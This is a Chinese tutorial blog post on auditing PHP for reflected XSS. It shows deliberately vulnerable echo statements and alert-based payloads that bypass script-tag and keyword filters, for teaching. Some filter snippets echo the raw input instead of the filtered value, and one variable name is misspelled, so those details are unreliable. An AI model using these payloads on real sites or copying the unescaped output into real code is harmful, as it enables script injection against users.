php代码审计【6】反射型xss

一、对变量直接输出

例如:

<?php
echo$_GET['xss'];  //接受的参数可以直接进行xss
?>

这里通过GET方式传过去xss参数,并且对传过去的参数没有做任何过滤,我们的输入会在页面进行显示。现在我们输入恶意代码<script>alert(1)</script>XSS弹出弹框

浏览器(火狐,谷歌默认有防护):

二:$_SERVER变量参数
(1)$_SERVER['PHP_SELF']

   测试代码:

<?php
echo $_SERVER['PHP_SELF'];  //直接输出自己的文件名
?>

 浏览器:

(2)$_SERVER['HTTP_USER_AGENT']

  此函数作用是获取浏览器信息

<?php
echo $_SERVER['HTTP_USER_AGENT'];  输出agent
?>

 

可以用Bp抓包改包或者通过火狐插件Modify headers 修改User-Agent:的内容就行了 

<?php
//echo $_GET['xss'];  //变量的直接输出导致xss
//echo getenv('REMOTE_ADDR');  //远程iP
//echo $_SERVER['PHP_SELF'];  //显示自己路径
//echo $_SERVER['HTTP_USER_AGENT'];
echo $_SERVER['HTTP_REFERER']; //输出referer
//echo urldecode($_SERVER['REQUESR_URI']);  //因为URI会进行编码,所以需要重新解码
?>  

三、绕过分析

1、过滤<script>,</script> ,

<?php
    $xss = $_GET["xss"];
    $xss = preg_replace("/<script>/", "", $xss);
    $xss = preg_replace("/<\/script>/", "", $xss);
    echo $_GET["xss"];
?>

直接通过双写或者大小写可以绕过

preg_replace()函数如果检测到<script></script>就会把其替换为空格(只替换小写的)。
但这里并没有迭代替换,所以这里可以双写绕过也可以大小写绕过。
即payload<scr<script>ipt>alert('test')</s</script>cript><scRipt>alert('test')</scRipt>

2、过滤大小写

<?php
    $xss = $_GET["xss"];
    $xss = preg_replace("/<script>/i", "", $xss);
    $xss = preg_replace("/<\/script>/i", "", $xss);
    echo $_GET["xss"];
?>

这里还是用了preg_replace()函数,只不过这里替换时不区分大小写,所以这里我们不能用大小写绕过了,但我们还是可以用双写绕过的

3、匹配到script 就die。

<?php
if (preg_match('/script/i', $_GET["name"])){
    die("error");
}
?>
<?php echo $_GET["name"]; ?>

,这里用了preg_match()函数, 只要在获取的参数中含有script字符串即报错。这里我们可以使用img标签来绕过,img src调用图片失败然后执行后面的动作。payload为<img src=""onclick="alert('chenie')">,此处要点击图片会触发

4、alert 被过滤

<?php
if (preg_match('/alert/i', $_GET["name"])){
    die("error");
}
?>
<?php echo $_GET["name"]; ?>

考虑编码(ascii 编码)

参数:name=<script>eval(String.fromCharCode(97,108,101,114,116,40,39,99,104,101,110,105,101,39,41))</script>

所有十进制可以查看ascii对应的结果。

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值